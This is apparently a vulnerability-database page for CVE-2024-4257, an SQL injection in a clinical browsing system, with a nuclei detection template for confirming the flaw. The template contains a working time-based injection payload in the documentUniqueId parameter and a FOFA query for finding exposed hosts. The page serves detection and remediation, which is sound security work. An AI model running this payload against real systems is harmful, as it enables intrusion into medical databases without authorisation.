HexBrain

Browse / CVEs / CVE-2024-4257

CVE-2024-4257· CWE-89

BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection

mediumseverity
6.3CVSS score
12.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.

Impact

Authenticated attackers can execute time-based SQL injection to extract sensitive database information.

Fix

Update BlueNet Technology Clinical Browsing System to a version later than 1.2.1 that patches the SQL injection vulnerability.

How to confirm it

Send: GET /login.php
Positive when: contains(body,"<title>临床浏览</title>") and contains(header,"text/html") and status_code == 200
Send: @timeout 20s
Positive when: duration>=6 and contains(header,"text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-4257 -u <target>

The full check
id: CVE-2024-4257

info:
  name: BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.
  impact: |
    Authenticated attackers can execute time-based SQL injection to extract sensitive database information.
  remediation: |
    Update BlueNet Technology Clinical Browsing System to a version later than 1.2.1 that patches the SQL injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4257
    - https://github.com/GAO-UNO/cve/blob/main/sql.md
    - https://vuldb.com/?submit.321338
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-4257
    cwe-id: CWE-89
    epss-score: 0.12051
    epss-percentile: 0.96174
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="LANWON-临床浏览系统"
  tags: time-based-sqli,cve,cve2024,sqli,blunet,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>临床浏览</title>")'
          - 'contains(header,"text/html")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains(header,"text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from